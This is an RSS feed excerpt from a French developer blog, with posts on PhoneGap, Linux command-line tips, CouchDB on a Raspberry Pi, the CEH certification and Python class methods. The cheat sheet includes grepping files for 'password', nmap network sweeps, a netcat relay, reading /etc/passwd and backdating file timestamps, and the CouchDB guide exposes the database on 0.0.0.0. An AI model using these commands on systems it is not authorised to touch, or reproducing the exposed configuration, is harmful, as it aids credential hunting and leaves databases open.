        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;</description>
            <content type="html"><![CDATA[<p>Voici une présentation que j&rsquo;ai donné dans une soirée dédiée au développement Web/ Mobile sur Boston le 21 janvier 2013. J&rsquo;ai pu présenter mon retour d&rsquo;expérience sur le développement d&rsquo;application hybrides avec Phonegap. J&rsquo;ai en effet commencé à l&rsquo;utiliser en 2009 pour développer une application pour iOS et Blackberry Torch via la même codebase.</p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/8G7vWvZyxQ076f"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





]]></content>
        </item>
        
        <item>
            <title>Commandes linux à savoir</title>
            <link>https://leandeep.com/commandes-linux-%C3%A0-savoir/</link>
            <pubDate>Wed, 16 Jan 2013 19:40:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-linux-%C3%A0-savoir/</guid>
            <description>&lt;h2 id=&#34;chercher-une-string-dans-les-fichiers-dun-répertoire-de-manière-récursive&#34;&gt;Chercher une string dans les fichiers d&amp;rsquo;un répertoire de manière récursive&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;grep -r &amp;#34;password&amp;#34; ~/Dev

i stands for ignore case.
r ou R stands for recursive.
l stands for &amp;#34;show the file name, not the result itself&amp;#34;.
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Alternative: utiliser ack (&lt;a href=&#34;https://beyondgrep.com/install/&#34;&gt;https://beyondgrep.com/install/&lt;/a&gt;)
&lt;code&gt;$ ack &amp;quot;http://&amp;quot; ~/Dev/&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Autre alternative: utiliser ag (&lt;a href=&#34;https://github.com/ggreer/the_silver_searcher&#34;&gt;https://github.com/ggreer/the_silver_searcher&lt;/a&gt;)
&lt;code&gt;$ ag &amp;quot;password&amp;quot; ~/Dev&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;localiser-un-fichier&#34;&gt;Localiser un fichier&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo find / -name &amp;#34;*filename&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;changer-la-date-dun-fichier&#34;&gt;Changer la date d&amp;rsquo;un fichier&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;touch -d &amp;#34;2 hours ago&amp;#34; /tmp/test
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;boucle-infinie&#34;&gt;Boucle infinie&lt;/h2&gt;
&lt;p&gt;Pour ré-exécuter la même commande à l&amp;rsquo;infini par exemple:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="chercher-une-string-dans-les-fichiers-dun-répertoire-de-manière-récursive">Chercher une string dans les fichiers d&rsquo;un répertoire de manière récursive</h2>
<pre tabindex="0"><code>grep -r &#34;password&#34; ~/Dev

i stands for ignore case.
r ou R stands for recursive.
l stands for &#34;show the file name, not the result itself&#34;.
</code></pre><blockquote>
<p>Alternative: utiliser ack (<a href="https://beyondgrep.com/install/">https://beyondgrep.com/install/</a>)
<code>$ ack &quot;http://&quot; ~/Dev/</code></p></blockquote>
<blockquote>
<p>Autre alternative: utiliser ag (<a href="https://github.com/ggreer/the_silver_searcher">https://github.com/ggreer/the_silver_searcher</a>)
<code>$ ag &quot;password&quot; ~/Dev</code></p></blockquote>
<br/>
<h2 id="localiser-un-fichier">Localiser un fichier</h2>
<pre tabindex="0"><code>sudo find / -name &#34;*filename&#34;
</code></pre><br/>
<h2 id="changer-la-date-dun-fichier">Changer la date d&rsquo;un fichier</h2>
<pre tabindex="0"><code>touch -d &#34;2 hours ago&#34; /tmp/test
</code></pre><br/>
<h2 id="boucle-infinie">Boucle infinie</h2>
<p>Pour ré-exécuter la même commande à l&rsquo;infini par exemple:</p>
<pre tabindex="0"><code>while true
&gt; do
&gt;     touch -d &#34;2 hours ago&#34; /tmp/test
&gt;     sleep 2
&gt; done
</code></pre><br/>
<h2 id="voir-le-code-retour-de-la-dernière-commande">Voir le code retour de la dernière commande:</h2>
<pre tabindex="0"><code>echo $?
</code></pre><br/>
<h2 id="inline-if-statement">Inline if statement</h2>
<p>Example:
Retourner un exit 1 si la date du fichier /tmp/test est supérieure à 50 minutes</p>
<pre tabindex="0"><code>if [ $(find /tmp/test -type f -mmin +50 | wc -l) -gt 0 ]; then exit 1; fi
</code></pre><br/>
<h2 id="liste-des-ports-par-défaut-des-utilitaires-de-base">Liste des ports par défaut des utilitaires de base</h2>
<pre tabindex="0"><code>vi /etc/services
</code></pre><br/>
<h2 id="créer-un-groupe">Créer un groupe</h2>
<pre tabindex="0"><code>sudo groupadd -g 4001 mon_groupe
</code></pre><br/>
<h2 id="ajouter-retirer-un-groupe-à-un-utilisateur">Ajouter/ Retirer un groupe à un utilisateur</h2>
<pre tabindex="0"><code># delete
gpasswd –d group user

# add
gpasswd –a group user 

# Alternative
sudo usermod -aG mon_groupe olivier
</code></pre><br/>
<h2 id="ajouter-un-nouvel-utilisateur-sans-droit-de-login">Ajouter un nouvel utilisateur sans droit de login</h2>
<pre tabindex="0"><code>useradd –s /sbin/nologin user
</code></pre><p>Si useradd/adduser ne fonctionne pas, il est possible de créer un utilisateur manuellement:</p>
<ul>
<li>Ajouter une entrée pour l&rsquo;utilisateur dans /etc/passwd</li>
<li>Idem dans le fichier /etc/group</li>
<li>Créer le répertoire home de l&rsquo;utilisateur</li>
<li>Créer le password pour l&rsquo;utilisateur avec <code>passwd</code></li>
</ul>
<br/>
<h2 id="voir-toutes-les-variables-denvironnement-du-système">Voir toutes les variables d&rsquo;environnement du système</h2>
<pre tabindex="0"><code>env

# ou 
printenv
</code></pre><br/>
<h2 id="rediriger-stdout-and-stderr-en-bash">Rediriger STDOUT and STDERR en Bash</h2>
<pre tabindex="0"><code>Rediriger STDOUT vers un fichier en ajoutant &gt; entre les commandes. 
Rediriger STDOUT vers une autre commande STDIN en ajoutant | entre les commandes.
Rediriger STDERR vers un fichier en ajoutant 2&gt; entre les commandes.
Rediriger STDERR vers STDOUT en ajoutant 2&gt;&amp;1 entre les commandes.
</code></pre><br/>
<h2 id="dupliquer-un-flux-de-données">Dupliquer un flux de données</h2>
<p>Utiliser la commande <code>tee</code></p>
<pre tabindex="0"><code>ifconfig -a | tee net.txt
</code></pre><p>Exemple:
Faire tourner un script Bash et à la fois voir son output dans le terminal et l&rsquo;enregistrer dans une fichier:</p>
<pre tabindex="0"><code>bash_script 2&gt;&amp;1 | tee bash_script.log 
</code></pre><br/>
<h2 id="retourner-les-premières-lignes-dun-fichier">Retourner les premières lignes d&rsquo;un fichier</h2>
<pre tabindex="0"><code>head fichier
# inverse de tail 
</code></pre><br/>
<h2 id="différence-entre-hardlink-et-symlink">Différence entre hardlink et symlink</h2>
<ul>
<li>
<p>Symlinks point to another file by name, if you change the contents of the file, but not the name it will point to the file with new content. If you remove the source or change the name to it, the symlink it no longer works.</p>
</li>
<li>
<p>Hardlinks point to the file by <code>inode</code> number, if you modify the file name or even delete <strong>it still works until every hard link to it is removed.</strong></p>
</li>
</ul>
<blockquote>
<p>An inode is a data structure used to represent a filesystem object. Lots of fields are stored in an inode ex: Inode number, direct/indirect disk blocks, number of blocks, change and modification time, File deletiontime, size, type, group, owner, permissions, etc.</p></blockquote>
<br/>
<h2 id="forcer-un-check-filesystem-lors-du-prochain-reboot">Forcer un check filesystem lors du prochain reboot</h2>
<pre tabindex="0"><code>touch /forcefsck
</code></pre><br/>
<h2 id="voir-les-ports-utilisés-par-les-process">Voir les ports utilisés par les process</h2>
<pre tabindex="0"><code>netstat -tulpn
</code></pre><br/>
<h2 id="utiliser-une-machine-comme-router-entre-2-subnets">Utiliser une machine comme router entre 2 subnets</h2>
<pre tabindex="0"><code>echo &#34;1&#34; &gt; /proc/sys/net/ipv4/ip_forward
</code></pre><br/>
<h2 id="différence-entre-un-process-et-thread">Différence entre un process et thread?</h2>
<p>Threads sont utilisées pour des petites tâches alors que les process sont utilisés par des tâches plus &ldquo;lourdes&rdquo; comme l&rsquo;exécution d&rsquo;applications.</p>
<br/>
<h2 id="différence-entre-exec-and-fork">Différence entre exec and fork?</h2>
<p>Fork duplique le process actuel.
Exec exécutes un process en utilisant l&rsquo;executable cible et vous n&rsquo;avez pas 2 processes qui font tourner le même code ou qui hérite du même état.</p>
<br/>
<h2 id="différence-entre-les-2-commandes-">Différence entre les 2 commandes ?</h2>
<pre tabindex="0"><code>omyvar=helloo
export myvar=hello
</code></pre><ul>
<li>1er cas: omyvar est restreint uniquement au shell</li>
<li>2ème cas: exporter la variable la rend accessible à n&rsquo;importe quel process</li>
</ul>
<br/>
<h2 id="limiter-la-mémoire-utilisée-par-un-process">Limiter la mémoire utilisée par un process</h2>
<p>Soit en utilisant <code>ulimit</code> pour un changement temporaire ou <code>sysctl -a</code> pour un changement permanent</p>
<br/>
<h2 id="voir-les-logs-system-systemd">Voir les logs system (systemd)</h2>
<pre tabindex="0"><code>journalctl -f 
</code></pre><br/>
<h2 id="voir-les-logs-system-et-filtrer-systemd">Voir les logs system et filtrer (systemd)</h2>
<pre tabindex="0"><code>journalctl -f -u le_filtre
</code></pre><br/>
<h2 id="nettoyer-les-logs-de-plus-de-2-jours-systemd">Nettoyer les logs de plus de 2 jours (systemd)</h2>
<pre tabindex="0"><code>journalctl --vacuum-time=2d
</code></pre><br/>
<h2 id="ne-garder-que-500-mo-de-logs-systemd">Ne garder que 500 Mo de logs (systemd)</h2>
<pre tabindex="0"><code>journalctl --vacuum-size=500M
</code></pre><br/>
<h2 id="voir-les-logs-dun-service-avec-follow--tail-et-affichage-des-résultats-sans-pagniation-systemd">Voir les logs d&rsquo;un service avec follow + tail et affichage des résultats sans pagniation (systemd)</h2>
<pre tabindex="0"><code>journalctl -u blabla.service -n 50000 --no-pager
</code></pre><br/>
<h2 id="montagedémontage-nfs">Montage/Démontage NFS</h2>
<pre tabindex="0"><code># Montage
mount -t nfs SERVER:MONTAGE_SUR_BAIE ./dossier_local/

# Démontage
umount ./dossier_local
</code></pre><br/>
<h2 id="afficher-les-paramètres-kernel-configurés-dans-etcsysctlconf">Afficher les paramètres kernel configurés dans /etc/sysctl.conf</h2>
<pre tabindex="0"><code>sysctl -p
</code></pre><br/>
<h2 id="afficher-les-erreurs-kernel-en-mode-readable">Afficher les erreurs kernel en mode readable</h2>
<pre tabindex="0"><code>dmesg -T
</code></pre><br/>
<h2 id="debug-réseau-avec-tcpdump">Debug réseau avec TCPdump</h2>
<p>Ouvrir dans 1er terminal:</p>
<pre tabindex="0"><code>tcpdump -vnni any host dns_a_filtrer

tcpdump -vnni any port 5000

tcpdump -vnni any not dst net 192.168.0.1/8

tcpdump -vnni eth0 not dst net 192.168.0.1/8
</code></pre><p>Dans un second terminal:</p>
<pre tabindex="0"><code>ping dns_a_filtrer

docker pull dns_a_filtrer

curl dns_a_filtrer
</code></pre><br/>
<h2 id="scanner-son-réseau-avec-nmap">Scanner son réseau avec nmap</h2>
<pre tabindex="0"><code># apt install nmap
# Scanner les machines dans un réseau sans chercher à savoir si les ports sont ouverts:
nmap -sn 192.168.0.0/24

# ou scan plus complet:
nmap 192.168.0.0/24
</code></pre><br/>
<h2 id="monitoring-simple-de-host">Monitoring (simple) de host</h2>
<pre tabindex="0"><code># IO par disque
sar -d

# Etat des IO disque
sar -b

# Etat du Swap
sar -W

# Etat de la mémoire
sar -r

# Etat du CPU
sar -u

# All
sar -A
</code></pre><br/>
<h2 id="copier-tout-un-dossier-et-gérer-les-io-errors">Copier tout un dossier et gérer les IO Errors</h2>
<p>Workaround:</p>
<pre tabindex="0"><code>rsync -auv --delete --ignore-errors /Volumes/Olivier/* /Volumes/LaCie/
</code></pre><br/>
<p><strong>Lister les services</strong></p>
<pre tabindex="0"><code>systemctl list-units --type=service

# Ou 
systemctl -l -t service | less
</code></pre><h2 id="systemd-et-cgroup">Systemd et cgroup</h2>
<p><img src="/images/Linux_kernel_unified_hierarchy_cgroups_and_systemd.png" alt="image"></p>
<!-- raw HTML omitted -->
<br/>
<h2 id="linux-filesystem-hierarchy">Linux Filesystem Hierarchy</h2>
<p><img src="/images/linux_filesystem_hierarchy.png" alt="image"></p>
<!-- raw HTML omitted -->
<p>Lien vers le standard: <a href="https://refspecs.linuxfoundation.org/FHS_3.0/fhs-3.0.html">https://refspecs.linuxfoundation.org/FHS_3.0/fhs-3.0.html</a></p>
<br/>
<h2 id="raccourcis-pour-le-terminal">Raccourcis pour le terminal</h2>
<table>
  <thead>
      <tr>
          <th>Key combination</th>
          <th>Action</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Ctrl + A</td>
          <td>Move to the beginning of the line</td>
      </tr>
      <tr>
          <td>Ctrl + E</td>
          <td>Move to the end of the line</td>
      </tr>
      <tr>
          <td>Alt + B</td>
          <td>Move to the previous word</td>
      </tr>
      <tr>
          <td>Alt + F</td>
          <td>Move to the next word</td>
      </tr>
      <tr>
          <td>Ctrl + U</td>
          <td>Erase to the beginning of the line</td>
      </tr>
      <tr>
          <td>Ctrl + K</td>
          <td>Erase to the end of the line</td>
      </tr>
      <tr>
          <td>Ctrl + W</td>
          <td>Erase the previous word</td>
      </tr>
      <tr>
          <td>Ctrl + P</td>
          <td>Browse previously entered commands</td>
      </tr>
      <tr>
          <td>Ctrl + R</td>
          <td>Reverse search for previously entered commands</td>
      </tr>
  </tbody>
</table>
<br/>
<h2 id="créer-un-soft-ou-symbolic-link-sur-un-fichier">Créer un soft (ou symbolic) link sur un fichier</h2>
<pre tabindex="0"><code>ln -s dossier_cible nom_du_lien
</code></pre><p>Par exemple:</p>
<pre tabindex="0"><code>$ ln -s /etc/hostname name
$ ls -l
total 12
-rw-rw-r--. 1 olivier olivier   13 Jan 16 21:14 hello.txt
lrwxrwxrwx. 1 olivier olivier   13 Jun 16 22:32 name -&gt; /etc/hostname

$ cat name
localdev.local
</code></pre><blockquote>
<p>Si on efface le fichier original sur lequel point le soft link alors ce dernier devient inutile parce qu&rsquo;il va pointer sur un fichier qui n&rsquo;existe plus. Les soft links peuvent aussi pointer sur des fichiers dans un autre file system.</p></blockquote>
<br/>
<h2 id="créer-un-hard-link">Créer un hard link</h2>
<p>Exemple:</p>
<pre tabindex="0"><code>$ echo &#34;Hello World!&#34; &gt; hello.txt
$ ln hello.txt bye.txt

$ ls -l
total 16
-rw-rw-r--. 2 fedora fedora   13 Jun 16 21:14 bye.txt
-rw-rw-r--. 2 fedora fedora   13 Jun 16 21:14 hello.txt
lrwxrwxrwx. 1 fedora fedora   13 Jun 16 22:32 name -&gt; /etc/hostname

$ cat hello.txt
Hello World!

$ cat bye.txt
Hello World!

$ echo &#34;1234&#34; &gt; hello.txt
$ cat bye.txt
1234

$ cat hello.txt
1234

$ rm hello.txt
$ cat bye.txt
1234

$ ls -l
total 12
-rw-rw-r--. 1 olivier olivier    13 Jun 16 22:39 bye.txt
lrwxrwxrwx. 1 olivier olivier   13 Jun 16 22:32 name -&gt; /etc/hostname
</code></pre><p>Dans l&rsquo;exemple précédent, on a créé un hard link en utilisant la commande <code>ln</code>.
Quand on a fait un changement dans le fichier original hello.txt file, le changement a été répercuté sur le fichier bye.txt.</p>
<p>Mais comme bye.txt est un hard link, même si on efface hello.txt le hard link existe toujours et son contenu reste le même que le contenu original.</p>
<br/>
<h2 id="fichiers-tar">Fichiers tar</h2>
<p><strong>Extraire un tar</strong></p>
<pre tabindex="0"><code>$ tar -xzvf files.tar.gz
hello.txt
bye.txt
</code></pre><blockquote>
<p>Le fichier files.tar.gz est compressé avec gzip. Si le fichier termine par .tar.bz2, alors il est compressé avec bzip2.</p></blockquote>
<pre tabindex="0"><code>$ tar -xjvf files.tar.bz2
hello.txt
bye.txt
</code></pre><br/>
<p><strong>Créer un tar</strong></p>
<pre tabindex="0"><code>$ tar -czvf files.tar.gz hello.c bye.txt
hello.txt
bye.txt

$ ls
bye.txt  files.tar.gz  hello.txt
</code></pre><br/>
<h2 id="lire-un-fichier-etcpasswd">Lire un fichier /etc/passwd</h2>
<pre tabindex="0"><code>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-timesync:x:999:998:systemd Time Synchronization:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
systemd-coredump:x:994:994:systemd Core Dumper:/:/sbin/nologin
olivier:x:1000:1000:Olivier:/home/olivier:/bin/bash

# Please note --&gt; &#34;:x:&#34; = &#34;: x :&#34; (sans espace)
</code></pre><table>
  <thead>
      <tr>
          <th>FIELD</th>
          <th>MEANING</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>username</td>
          <td>the username</td>
      </tr>
      <tr>
          <td>password</td>
          <td>the password of the user</td>
      </tr>
      <tr>
          <td>uid</td>
          <td>Numeric user id</td>
      </tr>
      <tr>
          <td>gid</td>
          <td>Numeric group id of user</td>
      </tr>
      <tr>
          <td>gecos</td>
          <td>arbitary field</td>
      </tr>
      <tr>
          <td>/home/dirname</td>
          <td>Home directory of the user</td>
      </tr>
      <tr>
          <td>shell</td>
          <td>Which shell to use for the user</td>
      </tr>
  </tbody>
</table>
<br/>
<h2 id="etcgroup">/etc/group</h2>
<p>Si un utilisateur est membre du groupe <code>wheel</code>cela signifie qu&rsquo;il a accès à sudo.</p>
<blockquote>
<p>To be able to use sudo command, you must have your user mentioned in the /etc/sudoers file. The best way to edit the file is to use visudo command as root user.</p></blockquote>
<br/>
<h2 id="she-bang-ou-sha-bang-dans-les-fichiers-exécutables">she-bang ou sha-bang dans les fichiers exécutables</h2>
<p>she-bang ou sha-bang est la première ligne d&rsquo;un script qui débute par <code>#!</code> suivi du path de l&rsquo;exécutable du script.</p>
<p>Example: <code>#!/bin/bash</code></p>
<br/>
<h2 id="lister-les-dossiers-les-plus-lourds">Lister les dossiers les plus lourds</h2>
<pre tabindex="0"><code>du --max-depth=7 /* | sort -n
</code></pre><br/>
<h2 id="obtenir-mon-ip-externe-via-google">Obtenir mon IP externe via google</h2>
<pre tabindex="0"><code>dig TXT +short o-o.myaddr.l.google.com @ns1.google.com | awk -F&#39;&#34;&#39; &#39;{ print $2}&#39;
</code></pre><br/>
<h2 id="obtenir-le-header-réponse-à-une-requête">Obtenir le header réponse à une requête</h2>
<p>Tout simplement <code>curl -I http://www.example.org</code>.</p>
<br/>
<h2 id="obtenir-la-version-de-los-distro-distribution">Obtenir la version de l&rsquo;OS/ distro/ distribution</h2>
<pre tabindex="0"><code>cat /etc/os-release
</code></pre><br/>
<h2 id="lister-les-packages-debian-installés">Lister les packages Debian installés</h2>
<pre tabindex="0"><code>sudo apt list --installed
</code></pre><br/>
<h2 id="convertir-un-timestamp-unix-en-date-lisible">Convertir un timestamp unix en date lisible</h2>
<pre tabindex="0"><code>date -d 1656894384
</code></pre><br/>
<h2 id="voir-les-différences-entre-2-commandes">Voir les différences entre 2 commandes</h2>
<pre tabindex="0"><code>diff -u &lt;(ls -l ~/Dev/ ) &lt;(ls -l ~/Dev2/ ) | colordiff
</code></pre><br/>
<h2 id="chercher-dans-apt-les-packages-disponibles">Chercher dans apt les packages disponibles</h2>
<pre tabindex="0"><code>apt-cache search VOTRE_PACKAGE
</code></pre><br/>
<h2 id="jq-ou-python-pour-formatter-un-json">JQ ou Python pour formatter un json</h2>
<pre tabindex="0"><code>cat mon_fichier.json | jq

# ou
cat mon_fichier.json | python -m json.tool
</code></pre><br/>
<h2 id="proxy-netcat">Proxy netcat</h2>
<pre tabindex="0"><code>nc -l 8080 | nc VOTRE_HOST 80
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer CouchDB sur un Raspberry</title>
            <link>https://leandeep.com/installer-couchdb-sur-un-raspberry/</link>
            <pubDate>Sat, 22 Dec 2012 19:47:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-couchdb-sur-un-raspberry/</guid>
            <description>&lt;h2 id=&#34;installation-de-couchdb&#34;&gt;Installation de CouchDB&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install couchdb
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;On configure le port et la bind_address&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo vim /etc/couchdb/local.ini

# Port par defaut: 5984
port = 5984
# Changer le bind address to 0.0.0.0 pour que la base soit accessible de partout
bind_address = 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Pour que CouchDB puisse démarrer au boot du Pi, on modifie le fichier &lt;code&gt; /var/init.d/couchdb&lt;/code&gt; et on ajoute cette variable d&amp;rsquo;environnement pour ne plus être gêné par &lt;code&gt;sudo&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;COUCHDB_USER=couchdb
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Si vous aviez déjà créé votre DB, vous devrez changer les permissions du dossier database_dir pour l&amp;rsquo;utilisateur couchdb:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo chown -R couchdb /var/lib/couchdb/1.2.0
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-de-couchdb">Installation de CouchDB</h2>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install couchdb
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<ol>
<li>On configure le port et la bind_address</li>
</ol>
<pre tabindex="0"><code>sudo vim /etc/couchdb/local.ini

# Port par defaut: 5984
port = 5984
# Changer le bind address to 0.0.0.0 pour que la base soit accessible de partout
bind_address = 0.0.0.0
</code></pre><br/>
<ol start="2">
<li>Pour que CouchDB puisse démarrer au boot du Pi, on modifie le fichier <code> /var/init.d/couchdb</code> et on ajoute cette variable d&rsquo;environnement pour ne plus être gêné par <code>sudo</code>:</li>
</ol>
<pre tabindex="0"><code>COUCHDB_USER=couchdb
</code></pre><br/>
<ol start="3">
<li>Si vous aviez déjà créé votre DB, vous devrez changer les permissions du dossier database_dir pour l&rsquo;utilisateur couchdb:</li>
</ol>
<pre tabindex="0"><code>sudo chown -R couchdb /var/lib/couchdb/1.2.0
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Certified Ethical Hacker</title>
            <link>https://leandeep.com/certified-ethical-hacker/</link>
            <pubDate>Sat, 15 Dec 2012 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/certified-ethical-hacker/</guid>
            <description>&lt;h2 id=&#34;certified-ethical-hacker-v7&#34;&gt;Certified Ethical Hacker V7&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/ceh.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Here in Boston, over the past few months, everyone around me has been talking about a cybersecurity certification called CEH. I&amp;rsquo;ve always been fascinated by hacking since I was a kid. (As a side note, when I was 17, I actually thought I would become a cybersecurity officer in the gendarmerie.) After four days of training at Sysdream in Paris (Saint-Ouen) + 1 day to take the exam, I&amp;rsquo;m now certified.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="certified-ethical-hacker-v7">Certified Ethical Hacker V7</h2>
<p><img src="/images/ceh.png" alt="image"></p>
<br/>
<p>Here in Boston, over the past few months, everyone around me has been talking about a cybersecurity certification called CEH. I&rsquo;ve always been fascinated by hacking since I was a kid. (As a side note, when I was 17, I actually thought I would become a cybersecurity officer in the gendarmerie.) After four days of training at Sysdream in Paris (Saint-Ouen) + 1 day to take the exam, I&rsquo;m now certified.</p>
<p>In reality, the CEH exam isn&rsquo;t very difficult. It&rsquo;s a 4 hour multiple-choice test with 150 questions. The passing score is 70%, which means you can get up to 45 questions wrong and still pass. There are no hands-on exercises, no simulations, and no practical assessment. You don&rsquo;t actually need to hack anything.</p>
<p>It&rsquo;s a good starting point for getting into cybersecurity, but it&rsquo;s quite light if you&rsquo;re looking to gain practical skills. That said, I still learned a lot on the theoretical side.</p>
<p>If I get the opportunity next year, I&rsquo;ll aim for a more hands-on certification like OSCP.</p>
]]></content>
        </item>
        
        <item>
            <title>static method vs class method en programmation orientée objet</title>
            <link>https://leandeep.com/static-method-vs-class-method-en-programmation-orient%C3%A9e-objet/</link>
            <pubDate>Mon, 12 Nov 2012 21:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/static-method-vs-class-method-en-programmation-orient%C3%A9e-objet/</guid>
            <description>&lt;h2 id=&#34;quest-ce-quune-class-method-&#34;&gt;Qu&amp;rsquo;est-ce qu&amp;rsquo;une class method ?&lt;/h2&gt;
&lt;p&gt;Une méthode de classe est une méthode qui est liée à une classe plutôt qu&amp;rsquo;à ses objets. Tout comme la méthode statique, il n&amp;rsquo;est pas nécessaire de créer une instance de classe pour appeler la méthode.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;différence-entre-static-method-et-class-method&#34;&gt;Différence entre static method et class method&lt;/h2&gt;
&lt;p&gt;Les static methods ne connaissent rien à propos de la classe et ne peuvent utiliser que les paramètres.
Les class methods fonctionnent avec la classe et ses paramètres sont toujours ceux de la classe elle-même.
La class method peut être appelée à la fois par la classe et ses instances.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="quest-ce-quune-class-method-">Qu&rsquo;est-ce qu&rsquo;une class method ?</h2>
<p>Une méthode de classe est une méthode qui est liée à une classe plutôt qu&rsquo;à ses objets. Tout comme la méthode statique, il n&rsquo;est pas nécessaire de créer une instance de classe pour appeler la méthode.</p>
<br/>
<h2 id="différence-entre-static-method-et-class-method">Différence entre static method et class method</h2>
<p>Les static methods ne connaissent rien à propos de la classe et ne peuvent utiliser que les paramètres.
Les class methods fonctionnent avec la classe et ses paramètres sont toujours ceux de la classe elle-même.
La class method peut être appelée à la fois par la classe et ses instances.</p>
<pre tabindex="0"><code>Class.classmethod()
</code></pre><p>Ou aussi:</p>
<pre tabindex="0"><code>Class().classmethod()
</code></pre><p>Mais peu importe, la class method est toujours attachée à une classe avec comme premier argument la classe elle-même.</p>
<pre tabindex="0"><code>def classMethod(cls, args...)
</code></pre><br/>
<h2 id="quand-utiliser-des-class-methods-">Quand utiliser des class methods ?</h2>
<p><strong>Pour créer des factory methods:</strong></p>
<blockquote>
<p>Les Factory methods sont ces méthodes qui retournent un objet classe (comme constructor) pour différents use cases.</p></blockquote>
<blockquote>
<p>C&rsquo;est similaire à surcharger une fonctione en C++. Mais puisque Python n&rsquo;a pas de mécanisme similaire les class methods et static methods sont utilisées.</p></blockquote>
<pre tabindex="0"><code>from datetime import date

# random Person
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    @classmethod
    def from_birth_year(cls, name, birth_year):
        return cls(name, date.today().year - birth_year)

    def display(self):
        print(&#34;{} a {} ans&#34;.format(self.name, self.age))

person = Person(&#39;Adam&#39;, 19)
person.display()

person1 = Person.from_birth_year(&#39;John&#39;,  1985)
person1.display()
</code></pre><br/>
<p>Output</p>
<pre tabindex="0"><code>Adam a 19 ans
John a 31 ans
</code></pre><br/>
<p><strong>Corriger la création d&rsquo;une instance en héritage:</strong></p>
<p>Quand on dérive une classe en implémentant une factory méthode comme class méthode, cela permet d&rsquo;avoir une création d&rsquo;instance correcte de la classe dérivée.</p>
<p>On aurait pu créer une static method pour l&rsquo;exemple précédent mais l&rsquo;objet qu&rsquo;elle crée sera hardcodé comme <em>Base class</em>.</p>
<p>Mais quand on utilise une class method, cela crée une instance correcte de la classe dérivée.</p>
<pre tabindex="0"><code>from datetime import date

# random Person
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    @staticmethod
    def from_fathers_age(name, father_age, father_person_age_diff):
        return Person(name, date.today().year - father_age + father_person_age_diff)

    @classmethod
    def from_birth_year(cls, name, birth_year):
        return cls(name, date.today().year - birth_year)

    def display(self):
